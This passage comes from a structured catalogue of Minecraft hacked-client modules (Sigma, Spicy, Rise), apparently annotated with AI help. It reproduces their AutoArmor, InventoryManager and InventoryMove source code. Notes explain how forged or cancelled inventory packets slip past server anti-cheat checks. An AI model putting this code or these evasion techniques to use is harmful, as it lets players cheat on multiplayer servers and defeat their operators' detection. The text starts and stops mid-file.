(mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n    \t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n    \t\t\t\tif(isBestArmor(is, type) && getProtection(is) > 0){\n    \t\t\t\t\tshiftClick(i);\n    \t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n    \t\t\t\t}\n    \t\t\t}\n            }\n        }\n    }\n    public static boolean isBestArmor(ItemStack stack, int type){\n    \tfloat prot = getProtection(stack);\n    \tString strType = \"\";\n    \tif(type == 1){\n    \t\tstrType = \"helmet\";\n    \t}else if(type == 2){\n    \t\tstrType = \"chestplate\";\n    \t}else if(type == 3){\n    \t\tstrType = \"leggings\";\n    \t}else if(type == 4){\n    \t\tstrType = \"boots\";\n    \t}\n    \tif(!stack.getUnlocalizedName().contains(strType)){\n    \t\treturn false;\n    \t}\n    \tfor (int i = 5; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(getProtection(is) > prot && is.getUnlocalizedName().contains(strType))\n                \treturn false;\n            }\n        }\n    \treturn true;\n    }\n    public void shiftClick(int slot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, 0, 1, mc.thePlayer);\n    }\n\n    public void drop(int slot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, 1, 4, mc.thePlayer);\n    }\n    public static float getProtection(ItemStack stack){\n    \tfloat prot = 0;\n    \tif ((stack.getItem() instanceof ItemArmor)) {\n    \t\tItemArmor armor = (ItemArmor)stack.getItem();\n    \t\tprot += armor.damageReduceAmount + (100 - armor.damageReduceAmount) * EnchantmentHelper.getEnchantmentLevel(Enchantment.protection.effectId, stack) * 0.0075D;\n    \t\tprot += EnchantmentHelper.getEnchantmentLevel(Enchantment.blastProtection.effectId, stack)/100d;\n    \t\tprot += EnchantmentHelper.getEnchantmentLevel(Enchantment.fireProtection.effectId, stack)/100d;\n    \t\tprot += EnchantmentHelper.getEnchantmentLevel(Enchantment.thorns.effectId, stack)/100d;\n    \t\tprot += EnchantmentHelper.getEnchantmentLevel(Enchantment.unbreaking.effectId, stack)/50d;   \t\n    \t\tprot += EnchantmentHelper.getEnchantmentLevel(Enchantment.field_180308_g.effectId, stack)/100d;   \t\n    \t}\n\t    return prot;\n    }\n}\n\n// NOTE (AI): Sigma 4.11 AutoArmor: complete file. Lines ~57-60 send C16 OPEN_INVENTORY_ACHIEVEMENT in FakeInv mode before drop/shift-click; full protection scoring at lines ~77-120.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/player/AutoArmor.java",
      "vanilla_hook": "EventTick with a Timer; C16 via sendQueue.addToSendQueue.",
      "anti_cheat_notes": "FakeInv is invisible to vanilla (the achievement trigger is harmless) but servers that mirror GUI state can notice clicks with no GUI. OpenInv mode avoids the C16 entirely by waiting for a real GUI.",
      "variations": "Spicy AutoArmor.java mirrors the same pattern (C16 import + send in the equip loop). LiquidSense Dev's AutoArmor sends C16 OPEN_INVENTORY_ACHIEVEMENT from its SimulateInventory path when no GuiInventory is open, runs the shift-click, then closes with C0D."
     },
     {
      "name": "InventoryManager / Manager",
      "found_in": [
       "Spicy",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Manage inventory state by tracking and forcing the C16 open-inventory flag.",
      "how_it_works": "Spicy InventoryManager hooks the packet event: C0D close sets isInventoryOpen = false, C16 open sets it true, and openInv() sends C16(OPEN_INVENTORY_ACHIEVEMENT) if not already open. Rise 5.99 Manager tracks the same flag and sends C16 open before item management, then C0D close when done.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/InventoryManager.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.ClickGUI.ClickGUI;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport info.spicyclient.settings.SettingChangeEvent.type;\nimport info.spicyclient.util.InventoryUtils;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemAxe;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemFishFood;\nimport net.minecraft.item.ItemFood;\nimport net.minecraft.item.ItemHoe;\nimport net.minecraft.item.ItemPickaxe;\nimport net.minecraft.item.ItemSpade;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.client.C16PacketClientStatus.EnumState;\n\npublic class InventoryManager extends Module {\n\t\n\tpublic BooleanSetting purge = new BooleanSetting(\"Purge items\", false);\n\tpublic BooleanSetting sort = new BooleanSetting(\"Sort items\", false);\n\t\n\t// Different settings for when purge is enabled\n\tpublic BooleanSetting armor = new BooleanSetting(\"Purge armor\", false);\n\tpublic BooleanSetting tools = new BooleanSetting(\"Purge tools\", false);\n\tpublic NumberSetting blocks = new NumberSetting(\"Max amount of blocks\", 64, 0, 512, 16);\n\tpublic NumberSetting food = new NumberSetting(\"Max amount of food\", 64, 0, 64, 1);\n\t\n\t// Different settings for when sort is enabled\n\tpublic NumberSetting swordSlot = new NumberSetting(\"Sword slot\", 1, 1, 9, 1);\n\tpublic NumberSetting pickaxeSlot = new NumberSetting(\"Pickaxe slot\", 2, 1, 9, 1);\n\tpublic NumberSetting axeSlot = new NumberSetting(\"Axe slot\", 3, 1, 9, 1);\n\t\n\tpublic static transient boolean isInventoryOpen = false;\n\t\n\tpublic InventoryManager() {\n\t\tsuper(\"Inventory Manager\", Keyboard.KEY_NONE, Category.PLAYER);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(purge, armor, tools, blocks, food, sort, swordSlot);\n\t}\n\t\n\t@Override\n\tpublic void onSettingChange(SettingChangeEvent e) {\n\t\t\n\t\tif (e.settingType.equals(type.BOOLEAN)) {\n\t\t\t\n\t\t\tif (e.setting == null) {\n\t\t\t\t\n\t\t\t}else {\n\t\t\t\t\n\t\t\t\tif (purge == null) {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (e.setting.equals(purge)) {\n\t\t\t\t\t\n\t\t\t\t\tif (purge.isEnabled()) {\n\t\t\t\t\t\tif (!settings.contains(armor)) {\n\t\t\t\t\t\t\tsettings.add(armor);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!settings.contains(tools)) {\n\t\t\t\t\t\t\tsettings.add(tools);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!settings.contains(blocks)) {\n\t\t\t\t\t\t\tsettings.add(blocks);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!settings.contains(food)) {\n\t\t\t\t\t\t\tsettings.add(food);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (!purge.enabled){\n\t\t\t\t\t\tif (settings.contains(armor)) {\n\t\t\t\t\t\t\tsettings.remove(armor);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (settings.contains(tools)) {\n\t\t\t\t\t\t\tsettings.remove(tools);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (settings.contains(blocks)) {\n\t\t\t\t\t\t\tsettings.remove(blocks);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (settings.contains(food)) {\n\t\t\t\t\t\t\tsettings.remove(food);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (sort == null) {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (e.setting.equals(sort)) {\n\t\t\t\t\t\n\t\t\t\t\tif (sort.isEnabled()) {\n\t\t\t\t\t\tif (!settings.contains(swordSlot)) {\n\t\t\t\t\t\t\tsettings.add(swordSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!settings.contains(pickaxeSlot)) {\n\t\t\t\t\t\t\tsettings.add(pickaxeSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!settings.contains(axeSlot)) {\n\t\t\t\t\t\t\tsettings.add(axeSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (!sort.enabled){\n\t\t\t\t\t\tif (settings.contains(swordSlot)) {\n\t\t\t\t\t\t\tsettings.remove(swordSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (settings.contains(pickaxeSlot)) {\n\t\t\t\t\t\t\tsettings.remove(pickaxeSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (settings.contains(axeSlot)) {\n\t\t\t\t\t\t\tsettings.remove(axeSlot);\n\t\t\t\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}else {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventSendPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventSendPacket event = (EventSendPacket) e;\n\t\t\t\n\t\t\tif (event.packet instanceof C02PacketUseEntity || event.packet instanceof C07PacketPlayerDigging) {\n\t\t\t\t\n\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\t\n\t\t\tif (mc.currentScreen != null && !(mc.currentScreen instanceof ClickGUI)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\n\t\t\tif (!SpicyClient.config.autoArmor.timer.hasTimeElapsed(250 + new Random().nextInt(40), false)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tboolean packetSent = false;\n\t\t\tint blockAmount = 0, foodAmount = 0;\n\t\t\t\n\t\t\tboolean sword = false;\n\t\t\tboolean pickaxe = false;\n\t\t\tboolean axe = false;\n\t\t\t\n\t\t\tfor (int i = 9; i < 45; i++) {\n    \t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n    \t\t\t\t\n    \t\t\t\tItemStack item = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n    \t\t\t\t\n    \t\t\t\tif (sort.isEnabled()) {\n    \t\t\t\t\t\n\t    \t\t\t\tif(InventoryUtils.isBestWeapon(item) && item.getItem() instanceof ItemSword){\n\t    \t\t\t\t\t\n\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t        \t\t\t\t\tpacketSent = true;\n\t            \t\t\t\t\n\t            \t\t\t\t\n\t        \t\t\t\t}\n\t        \t\t\t\t\n\t        \t\t\t\topenInv();\n\t    \t\t\t\t\tInventoryUtils.swap(i, (int)swordSlot.getValue() - 1);\n\t    \t\t\t\t\tsword = true;\n\t    \t\t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n\t    \t\t\t\tif(InventoryUtils.isBestPickaxe(item) && item.getItem() instanceof ItemPickaxe){\n\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t        \t\t\t\t\tpacketSent = true;\n\t            \t\t\t\t\n\t            \t\t\t\t\n\t        \t\t\t\t}\n\t        \t\t\t\t\n\t        \t\t\t\topenInv();\n\t    \t\t\t\t\tInventoryUtils.swap(i, (int)pickaxeSlot.getValue() - 1);\n\t    \t\t\t\t\tpickaxe = true;\n\t    \t\t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n\t    \t\t\t\tif(InventoryUtils.isBestAxe(item) && item.getItem() instanceof ItemAxe){\n\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t        \t\t\t\t\tpacketSent = true;\n\t            \t\t\t\t\n\t            \t\t\t\t\n\t        \t\t\t\t}\n\t        \t\t\t\t\n\t        \t\t\t\topenInv();\n\t    \t\t\t\t\tInventoryUtils.swap(i, (int)axeSlot.getValue() - 1);\n\t    \t\t\t\t\taxe = true;\n\t    \t\t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n    \t\t\t\t}\n    \t\t\t\t\n    \t\t\t}\n    \t\t\t\n            }\n\t\t\t\n\t\t\tfor (int i = 9; i < 45; i++) {\n    \t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n    \t\t\t\t\n    \t\t\t\tItemStack item = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n    \t\t\t\t\n    \t\t\t\tif (purge.isEnabled()) {\n    \t\t\t\t\t\n\t    \t\t\t\tif(item.getItem() instanceof ItemBlock){\n\t    \t\t\t\t\t\n\t    \t\t\t\t\tblockAmount += item.stackSize;\n\t    \t\t\t\t\t\n\t    \t\t\t\t\tif (blockAmount > blocks.getValue()) {\n\t    \t\t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t    \t\t\t\t\t}\n\t    \t\t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n\t    \t\t\t\tif(item.getItem() instanceof ItemFood){\n\t    \t\t\t\t\t\n\t    \t\t\t\t\tif (foodAmount > blocks.getValue()) {\n\t    \t\t\t\t\t\t\n\t    \t\t\t\t\t\tfoodAmount += item.stackSize;\n\t    \t\t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t    \t\t\t\t\t}\n\t    \t\t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n\t    \t\t\t\tif (tools.isEnabled()) {\n\t    \t\t\t\t\t\n\t\t    \t\t\t\tif (sword) {\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\tif(item.getItem() instanceof ItemSword && i - 36 != swordSlot.getValue() - 1){\n\t\t    \t\t\t\t\t\t\n\t\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t\t        \t\t\t\t\tpacketSent = true;\n\t\t\t            \t\t\t\t\n\t\t\t            \t\t\t\t\n\t\t\t        \t\t\t\t}\n\t\t\t        \t\t\t\t\n\t\t\t        \t\t\t\topenInv();\n\t\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t    \t\t\t\t\tcloseInv();\n\t\t\t    \t\t\t\t\treturn;\n\t\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\t}\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}else if (item.getItem() instanceof ItemSword) {\n\t\t    \t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\n\t\t    \t\t\t\tif (pickaxe) {\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\tif(item.getItem() instanceof ItemPickaxe && i - 36 != pickaxeSlot.getValue() - 1){\n\t\t    \t\t\t\t\t\t\n\t\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t\t        \t\t\t\t\tpacketSent = true;\n\t\t\t            \t\t\t\t\n\t\t\t            \t\t\t\t\n\t\t\t        \t\t\t\t}\n\t\t\t        \t\t\t\t\n\t\t\t        \t\t\t\topenInv();\n\t\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t    \t\t\t\t\tcloseInv();\n\t\t\t    \t\t\t\t\treturn;\n\t\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\t}\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}else if (item.getItem() instanceof ItemPickaxe && !(item.getItem() instanceof ItemSword)) {\n\t\t    \t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\n\t\t    \t\t\t\tif (axe) {\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\tif(item.getItem() instanceof ItemAxe && i - 36 != axeSlot.getValue() - 1){\n\t\t    \t\t\t\t\t\t\n\t\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t\t        \t\t\t\t\tpacketSent = true;\n\t\t\t            \t\t\t\t\n\t\t\t            \t\t\t\t\n\t\t\t        \t\t\t\t}\n\t\t\t        \t\t\t\t\n\t\t\t        \t\t\t\topenInv();\n\t\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t    \t\t\t\t\tcloseInv();\n\t\t\t    \t\t\t\t\treturn;\n\t\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\t}\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}else if (item.getItem() instanceof ItemAxe) {\n\t\t    \t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\n\t\t    \t\t\t\tif (item.getItem() instanceof ItemSpade || item.getItem() instanceof ItemHoe) {\n\t\t    \t\t\t\t\t\n\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t        \t\t\t\t\tpacketSent = true;\n\t\t            \t\t\t\t\n\t\t            \t\t\t\t\n\t\t        \t\t\t\t}\n\t\t        \t\t\t\t\n\t\t        \t\t\t\topenInv();\n\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t    \t\t\t\t\tcloseInv();\n\t\t    \t\t\t\t\treturn;\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\n\t\t    \t\t\t\tif (armor.isEnabled()) {\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t\tfor(int type = 1; type < 5; type++){\n\t\t    \t\t\t\t\t\t\n\t\t    \t\t\t\t\t\tif (SpicyClient.config.autoArmor.isEnabled()) {\n\t\t    \t\t\t\t\t\t\tSpicyClient.config.autoArmor.getBestArmor();\n\t\t    \t\t\t\t\t\t}\n\t\t    \t\t\t\t\t\t\n\t\t\t\t    \t\t\t\tif (item.getItem() instanceof ItemArmor && !AutoArmor.isBestArmor(item, type)) {\n\t\t\t\t    \t\t\t\t\t\n\t\t\t\t        \t\t\t\tif (!(mc.currentScreen instanceof GuiInventory)) {\n\t\t\t\t        \t\t\t\t\tpacketSent = true;\n\t\t\t\t            \t\t\t\t\n\t\t\t\t            \t\t\t\t\n\t\t\t\t        \t\t\t\t}\n\t\t\t\t        \t\t\t\t\n\t\t\t\t        \t\t\t\topenInv();\n\t\t\t\t    \t\t\t\t\tInventoryUtils.drop(i);\n\t\t\t\t    \t\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t\t    \t\t\t\t\tcloseInv();\n\t\t\t\t    \t\t\t\t\treturn;\n\t\t\t\t    \t\t\t\t\t\n\t\t\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\t\t\n\t\t    \t\t\t        }\n\t\t    \t\t\t\t\t\n\t\t    \t\t\t\t}\n\t\t    \t\t\t\t\n\t    \t\t\t\t}\n\t    \t\t\t\t\n    \t\t\t\t}\n    \t\t\t\t\n    \t\t\t}\n    \t\t\t\n            }\n\t\t\t\n\t\t\tif (packetSent) {\n\t\t\t\tSpicyClient.config.autoArmor.timer.reset();\n\t\t\t}\n\t\t\t\n\t\t\tcloseInv();\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tPacket packet = ((EventPacket)e).packet;\n\t\t\t\n            if (packet instanceof C0DPacketCloseWindow) {\n                isInventoryOpen = false;\n            }\n            else if (packet instanceof C16PacketClientStatus) {\n                C16PacketClientStatus open = (C16PacketClientStatus)packet;\n                if (open.getStatus() == EnumState.OPEN_INVENTORY_ACHIEVEMENT) {\n                    isInventoryOpen = true;\n                }\n            }\n            \n\t\t}\n\t\t\n\t}\n\t\n\t@Override\n\tpublic void onEventWhenDisabled(Event e) {\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tPacket packet = ((EventPacket)e).packet;\n\t\t\t\n            if (packet instanceof C0DPacketCloseWindow) {\n                isInventoryOpen = false;\n            }\n            else if (packet instanceof C16PacketClientStatus) {\n                C16PacketClientStatus open = (C16PacketClientStatus)packet;\n                if (open.getStatus() == EnumState.OPEN_INVENTORY_ACHIEVEMENT) {\n                    isInventoryOpen = true;\n                }\n            }\n            \n\t\t}\n\t\t\n\t}\n\t\n\tpublic void openInv() {\n\t\t\n        if (!this.isInventoryOpen) {\n            mc.thePlayer.sendQueue.addToSendQueue(new C16PacketClientStatus(EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n        }\n\n        this.isInventoryOpen = true;\n        \n\t}\n\t\n\tpublic void closeInv() {\n\t\t\n\t\tif (this.isInventoryOpen) {\n            mc.thePlayer.sendQueue.addToSendQueue(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n        }\n\n        this.isInventoryOpen = false;\n\t\t\n\t}\n\t\n}\n\n// NOTE (AI): Spicy InventoryManager: complete 544-line file. Lines ~493-528 track the C16 open state and openInv() sends C16(OPEN_INVENTORY_ACHIEVEMENT) to force the server-side open flag.\n",
      "code_source": "Spicy, info/spicyclient/modules/player/InventoryManager.java",
      "vanilla_hook": "EventPacket (C16/C0D tracking); openInv/closeInv helpers send the packets.",
      "anti_cheat_notes": "The state tracking keeps the client's view of the container consistent, which avoids the container desyncs that flag InventoryMove checks. Forcing open without a GUI is only detectable server-side via GUI-state mirroring.",
      "variations": "Rise 5.99 Manager.java (openInventoryIfNecessary, line ~428) and Rise 6.2.4/6.1.30 Manager.java implement the same open/close tracking with C16."
     },
     {
      "name": "InvMove / CancelInventoryMove",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Cancel the C16 open-inventory status so the server never learns the player is in a GUI while moving and clicking.",
      "how_it_works": "Rise 6.2.4 CancelInventoryMove cancels C16(OPEN_INVENTORY_ACHIEVEMENT), C0B(OPEN_INVENTORY) and C0DPacketCloseWindow on the send event, while forcing movement keys in PreUpdate. Rise 5.99 InvMove goes further: it cancels the C16 open status and re-wraps C0E clicks with a C16 open + C0D close pair sent without events.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/CancelInventoryMove.java =====\npackage com.alan.clients.module.impl.movement.inventorymove;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.movement.InventoryMove;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\npublic class CancelInventoryMove extends Mode<InventoryMove> {\n\n    public CancelInventoryMove(String name, InventoryMove parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C16PacketClientStatus) {\n            final C16PacketClientStatus wrapper = (C16PacketClientStatus) p;\n\n            if (wrapper.getStatus() == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT) {\n                event.setCancelled();\n            }\n        }\n\n        if (p instanceof C0BPacketEntityAction) {\n            final C0BPacketEntityAction wrapper = (C0BPacketEntityAction) p;\n\n            if (wrapper.getAction() == C0BPacketEntityAction.Action.OPEN_INVENTORY) {\n                event.setCancelled();\n            }\n        }\n\n        if (p instanceof C0DPacketCloseWindow) {\n            event.setCancelled();\n        }\n    };\n\n    private final KeyBinding[] AFFECTED_BINDINGS = new KeyBinding[]{\n            mc.gameSettings.keyBindForward,\n            mc.gameSettings.keyBindBack,\n            mc.gameSettings.keyBindRight,\n            mc.gameSettings.keyBindLeft,\n            mc.gameSettings.keyBindJump\n    };\n\n    @EventLink\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        